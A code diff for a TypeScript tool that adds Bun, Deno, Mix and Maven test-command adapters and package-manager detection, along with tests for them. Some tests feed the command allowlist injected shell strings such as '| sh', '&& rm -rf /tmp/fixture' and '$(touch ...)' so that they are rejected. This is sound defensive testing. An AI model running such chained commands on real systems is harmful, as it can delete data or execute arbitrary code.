@@ -71,6 +105,26 @@ export function loadBundledAdapters(): AdapterManifest[] {
return loaded;
}
+async function matchingAdapterFile(
+ repoPath: string,
+ ref: string,
+ match: AdapterManifest["match"],
+): Promise<{ path: string; text: string } | undefined> {
+ for (const path of match.excludeFilesAny ?? []) {
+ if (await firstExisting(repoPath, ref, [path])) return undefined;
+ }
+ for (const path of match.filesAny) {
+ const hit = await firstExisting(repoPath, ref, [path]);
+ if (hit === undefined) continue;
+ if (path === "package.json") {
+ if (match.packageManager !== undefined && !packageManagerMatches(hit.text, match.packageManager)) continue;
+ if (match.excludePackageManagers?.some((item) => packageManagerMatches(hit.text, item))) continue;
+ }
+ return hit;
+ }
+ return undefined;
+}
+
export async function adapterRules(options: {
repoPath: string;
ref: string;
@@ -79,7 +133,7 @@ export async function adapterRules(options: {
}): Promise {
const rules: ContractRule[] = [];
for (const adapter of loadBundledAdapters()) {
- const hit = await firstExisting(options.repoPath, options.ref, adapter.match.filesAny);
+ const hit = await matchingAdapterFile(options.repoPath, options.ref, adapter.match);
if (hit === undefined) continue;
const argv = allowlistedArgv(adapter.testCommand);
if (argv === undefined) {
diff --git a/src/allowlist.ts b/src/allowlist.ts
index 4e4768d..e00b449 100644
--- a/src/allowlist.ts
+++ b/src/allowlist.ts
@@ -13,8 +13,14 @@ export const TEST_ARGV_FAMILIES: readonly (readonly string[])[] = [
["python", "-m", "pytest"],
["cargo", "test"],
["go", "test"],
+ ["bun", "test"],
+ ["deno", "test"],
+ ["mix", "test"],
+ ["mvn", "test"],
];
+export type PackageManager = "npm" | "pnpm" | "yarn" | "bun";
+
const SHELL_META = /[|;&`$<>()]/;
export function hasShellMeta(command: string): boolean {
@@ -54,6 +60,30 @@ export function allowlistedArgv(command: string): string[] | undefined {
return argv.length === family.length ? [...argv] : undefined;
}
+export function packageManagerFromPackageJson(text: string): PackageManager | undefined {
+ try {
+ const parsed: unknown = JSON.parse(text);
+ if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) return undefined;
+ const value = (parsed as Record).packageManager;
+ if (typeof value !== "string") return undefined;
+ const managers: readonly PackageManager[] = ["npm", "pnpm", "yarn", "bun"];
+ for (const manager of managers) {
+ if (value === manager) return manager;
+ if (value.startsWith(`${manager}@`) && value.length > manager.length + 1) return manager;
+ }
+ return undefined;
+ } catch {
+ return undefined;
+ }
+}
+
+export function packageManagerMatches(
+ packageJson: string,
+ expected: PackageManager,
+): boolean {
+ return packageManagerFromPackageJson(packageJson) === expected;
+}
+
export function commandsEquivalent(recorded: string, required: string): boolean {
const rec = tokenizeArgv(recorded);
const req = tokenizeArgv(required);
@@ -68,16 +98,21 @@ export function commandsEquivalent(recorded: string, required: string): boolean
export function inferTestCommand(hints: {
policyCommand?: string;
- packageManager?: "npm" | "pnpm" | "yarn";
+ packageManager?: PackageManager;
hasNpmTestScript?: boolean;
mentionsPytest?: boolean;
mentionsCargo?: boolean;
mentionsGo?: boolean;
+ mentionsBun?: boolean;
+ mentionsDeno?: boolean;
+ mentionsMix?: boolean;
+ mentionsMaven?: boolean;
}): string | undefined {
if (hints.policyCommand !== undefined) {
return allowlistedArgv(hints.policyCommand) ? hints.policyCommand.trim() : undefined;
}
if (hints.hasNpmTestScript) {
+ if (hints.packageManager === "bun") return "bun test";
if (hints.packageManager === "pnpm") return "pnpm test";
if (hints.packageManager === "yarn") return "yarn test";
return "npm test";
@@ -85,5 +120,9 @@ export function inferTestCommand(hints: {
if (hints.mentionsPytest) return "pytest";
if (hints.mentionsCargo) return "cargo test";
if (hints.mentionsGo) return "go test";
+ if (hints.mentionsBun) return "bun test";
+ if (hints.mentionsDeno) return "deno test";
+ if (hints.mentionsMix) return "mix test";
+ if (hints.mentionsMaven) return "mvn test";
return undefined;
}
diff --git a/src/compile.ts b/src/compile.ts
index 943da83..71f63d5 100644
--- a/src/compile.ts
+++ b/src/compile.ts
@@ -1,6 +1,11 @@
import { resolve } from "node:path";
import { compareTextUnit, digestText } from "./canonical.js";
-import { allowlistedArgv, inferTestCommand } from "./allowlist.js";
+import {
+ allowlistedArgv,
+ inferTestCommand,
+ packageManagerFromPackageJson,
+ type PackageManager,
+} from "./allowlist.js";
import { parseCodeowners } from "./codeowners.js";
import { parsePolicyYaml } from "./policy.js";
import {
@@ -25,7 +30,7 @@ const SIZE_FILES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+file
const SIZE_LINES = /\b(?:under|at most|max(?:imum)?|no more than)\s+(\d+)\s+(?:diff\s+)?lines?\b/i;
const TEST_COMMAND_LINE = /(?:^|\n)\s*test(?:s)?\s*[:=]\s*(.+)/i;
const ALLOWED_TEST_MENTION =
- /\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test)\b/i;
+ /\b(npm test|npm run test|pnpm test|yarn test|pytest|python -m pytest|cargo test|go test|bun test|deno test|mix test|mvn test)\b/i;
const AI_REQUIRE =
/(?:\b(ai|llm|claude|codex)\b.{0,80}\b(disclos|must mention|required|declare)\b|\b(disclos|must mention|declare).{0,80}\b(ai|llm|claude|codex)\b)/i;
const DCO_REQUIRE = /(?:require[sd]?|must).{0,40}signed-off-by|signed-off-by.{0,40}(?:required|must)/i;
@@ -53,7 +58,11 @@ function addSource(sources: ContractSource[], path: string, text: string): void
sources.push({ path, digest: digestText(text) });
}
-function parsePackageScripts(text: string): { hasTest: boolean; mentionsPytest: boolean } {
+function parsePackageScripts(text: string): {
+ hasTest: boolean;
+ mentionsPytest: boolean;
+ packageManager?: PackageManager;
+} {
try {
const parsed: unknown = JSON.parse(text);
if (!isRecord(parsed)) return { hasTest: false, mentionsPytest: false };
@@ -69,7 +78,12 @@ function parsePackageScripts(text: string): { hasTest: boolean; mentionsPytest:
}
if (/\bpytest\b/i.test(value) || /\bpytest\b/i.test(name)) mentionsPytest = true;
}
- return { hasTest, mentionsPytest };
+ const packageManager = packageManagerFromPackageJson(text);
+ return {
+ hasTest,
+ mentionsPytest,
+ ...(packageManager !== undefined ? { packageManager } : {}),
+ };
} catch {
return { hasTest: false, mentionsPytest: false };
}
@@ -160,6 +174,7 @@ export async function compile(options: CompileOptions): Promise {
- it("loads python-pytest, node-npm-test, and go-test sorted by id", () => {
+ it("loads all seven bundled adapters sorted by id", () => {
const adapters = loadBundledAdapters();
- expect(adapters.map((item) => item.id)).toEqual(["go-test", "node-npm-test", "python-pytest"]);
+ expect(adapters.map((item) => item.id)).toEqual([
+ "bun-test",
+ "deno-test",
+ "elixir-mix",
+ "go-test",
+ "java-maven",
+ "node-npm-test",
+ "python-pytest",
+ ]);
});
it("matches golden.json command families", () => {
- for (const id of ["go-test", "node-npm-test", "python-pytest"]) {
+ for (const id of [
+ "bun-test",
+ "deno-test",
+ "elixir-mix",
+ "go-test",
+ "java-maven",
+ "node-npm-test",
+ "python-pytest",
+ ]) {
const golden = JSON.parse(
readFileSync(join(repoRoot, "adapters", id, "tests", "golden.json"), "utf8"),
) as { expectRuleId: string; expectCommand: string; expectSeverity: string };
const adapter = loadBundledAdapters().find((item) => item.id === id);
+ expect(adapter?.id).toBe(golden.expectRuleId.slice("adapter-".length));
expect(adapter?.testCommand).toBe(golden.expectCommand);
}
});
@@ -31,4 +50,128 @@ describe("bundled adapters", () => {
expect(rule?.severity).toBe("advisory");
expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false);
});
+
+ it("deno-test matches both Deno project marker forms", async () => {
+ for (const [fixture, origin] of [["deno-test", "deno.json"], ["deno-jsonc", "deno.jsonc"]] as const) {
+ const repo = await stageFixture(fixture);
+ const contract = await compile({ repoPath: repo });
+ const rule = allRules(contract).find((item) => item.id === "adapter-deno-test");
+ expect(rule?.origin).toBe(origin);
+ expect(rule?.check).toBe("command_recorded");
+ expect(rule?.command).toBe("deno test");
+ expect(rule?.severity).toBe("advisory");
+ }
+ });
+
+ it("bun-test matches lockfiles and Bun packageManager without matching npm", async () => {
+ for (const [fixture, origin] of [
+ ["bun-lock", "bun.lock"],
+ ["bun-lockb", "bun.lockb"],
+ ["bun-package-manager", "package.json"],
+ ] as const) {
+ const repo = await stageFixture(fixture);
+ const contract = await compile({ repoPath: repo });
+ const rule = allRules(contract).find((item) => item.id === "adapter-bun-test");
+ expect(rule?.origin).toBe(origin);
+ expect(rule?.command).toBe("bun test");
+ expect(rule?.severity).toBe("advisory");
+ expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false);
+ }
+
+ const nonBun = await stageFixture("bun-package-manager-negative");
+ const nonBunContract = await compile({ repoPath: nonBun });
+ expect(allRules(nonBunContract).some((item) => item.id === "adapter-bun-test")).toBe(false);
+ });
+
+ it.each([
+ ["bun-lock-package-script", "bun.lock"],
+ ["bun-lockb-package-script", "bun.lockb"],
+ ] as const)("gives %s Bun marker priority over npm fallback", async (fixture, origin) => {
+ const repo = await stageFixture(fixture);
+ const contract = await compile({ repoPath: repo });
+ const rules = allRules(contract);
+ const testRule = rules.find((item) => item.id === "test-command");
+ expect(testRule?.command).toBe("bun test");
+ expect(testRule?.severity).toBe("block");
+ expect(rules.some((item) => item.id === "test-command" && item.command === "npm test")).toBe(false);
+ expect(rules.some((item) => item.id === "adapter-bun-test" && item.origin === origin)).toBe(false);
+ expect(rules.some((item) => item.id === "adapter-node-npm-test")).toBe(false);
+ });
+
+ it("does not treat a Bun test script as a Bun marker without packageManager or lockfile", async () => {
+ const repo = await stageFixture("bun-script-without-marker");
+ const contract = await compile({ repoPath: repo });
+ const rules = allRules(contract);
+ expect(rules.find((item) => item.id === "test-command")?.command).toBe("npm test");
+ expect(rules.some((item) => item.id === "adapter-bun-test")).toBe(false);
+ });
+
+ it("infers bun test from a Bun packageManager test script", async () => {
+ const repo = await stageFixture("bun-package-manager-script");
+ const contract = await compile({ repoPath: repo });
+ const rule = allRules(contract).find((item) => item.id === "test-command");
+ expect(rule?.command).toBe("bun test");
+ expect(allRules(contract).some((item) => item.id === "adapter-bun-test")).toBe(false);
+ expect(allRules(contract).some((item) => item.id === "adapter-node-npm-test")).toBe(false);
+ });
+
+ it.each([
+ ["deno-test", ["deno", "test"]],
+ ["bun-lock", ["bun", "test"]],
+ ["elixir-mix", ["mix", "test"]],
+ ["java-maven", ["mvn", "test"]],
+ ] as const)("only executes %s after --run-tests opt-in", async (fixture, argv) => {
+ const repo = await stageFixture(fixture);
+ const executeCommand = vi.fn(async () => ({ exitCode: 0, stdout: "passed", stderr: "" }));
+
+ const withoutOptIn = await preflight({ repoPath: repo, baseRef: "HEAD", executeCommand });
+ expect(executeCommand).not.toHaveBeenCalled();
+ expect(withoutOptIn.snapshot.recordedCommands).toEqual([]);
+
+ const withOptIn = await preflight({
+ repoPath: repo,
+ baseRef: "HEAD",
+ runTests: true,
+ executeCommand,
+ });
+ expect(executeCommand).toHaveBeenCalledWith(argv, repo);
+ expect(withOptIn.snapshot.recordedCommands[0]).toMatchObject({
+ command: argv.join(" "),
+ exitCode: 0,
+ source: "executed",
+ });
+ });
+
+ it("rejects extra arguments and shell syntax for all added families", () => {
+ for (const command of ["bun test", "deno test", "mix test", "mvn test"]) {
+ expect(allowlistedArgv(command)).toEqual(command.split(" "));
+ expect(allowlistedArgv(`${command} --verbose`)).toBeUndefined();
+ expect(allowlistedArgv(`${command} | sh`)).toBeUndefined();
+ expect(allowlistedArgv(`${command} && rm -rf /tmp/fixture`)).toBeUndefined();
+ expect(allowlistedArgv(`${command} $(touch /tmp/fixture)`)).toBeUndefined();
+ }
+ });
+
+ it("matches Elixir Mix and Java Maven fixtures and keeps them advisory", async () => {
+ for (const [fixture, ruleId, origin, command, argv] of [
+ ["elixir-mix", "adapter-elixir-mix", "mix.exs", "mix test", ["mix", "test"]],
+ ["java-maven", "adapter-java-maven", "pom.xml", "mvn test", ["mvn", "test"]],
+ ] as const) {
+ const repo = await stageFixture(fixture);
+ const contract = await compile({ repoPath: repo });
+ const rule = allRules(contract).find((item) => item.id === ruleId);
+ expect(rule?.origin).toBe(origin);
+ expect(rule?.check).toBe("command_recorded");
+ expect(rule?.command).toBe(command);
+ expect(rule?.severity).toBe("advisory");
+ expect(allowlistedArgv(command)).toEqual(argv);
+ }
+ });
+
+ it("does not match repositories without mix.exs or pom.xml", async () => {
+ const repo = await stageFixture("pass-clean");
+ const contract = await compile({ repoPath: repo });
+ expect(allRules(contract).some((item) => item.id === "adapter-elixir-mix")).toBe(false);
+ expect(allRules(contract).some((item) => item.id === "adapter-java-maven")).toBe(false);
+ });
});
diff --git a/test/threat.test.ts b/test/threat.test.ts
index 956e3bd..439755d 100644
--- a/test/threat.test.ts
+++ b/test/threat.test.ts
@@ -46,6 +46,13 @@ describe("threat model", () => {
expect(allowlistedArgv("echo $(whoami)")).toBeUndefined();
expect(allowlistedArgv("npm test")).toEqual(["npm", "test"]);
expect(allowlistedArgv("python -m pytest")).toEqual(["python", "-m", "pytest"]);
+ expect(allowlistedArgv("mix test")).toEqual(["mix", "test"]);
+ expect(allowlistedArgv("mvn test")).toEqual(["mvn", "test"]);
+ expect(allowlistedArgv("mix test --cover")).toBeUndefined();
+ expect(allowlistedArgv("mvn test -DskipTests=false")).toBeUndefined();
+ expect(allowlistedArgv("mix test && rm -rf /tmp/fixture")).toBeUndefined();
+ expect(allowlistedArgv("mvn test | sh")).toBeUndefined();
+ expect(allowlistedArgv("mix test $(touch /tmp/fixture)")).toBeUndefined();
});
it("T2: unknown contribkit.yml keys are needs-human and never execute", async () => {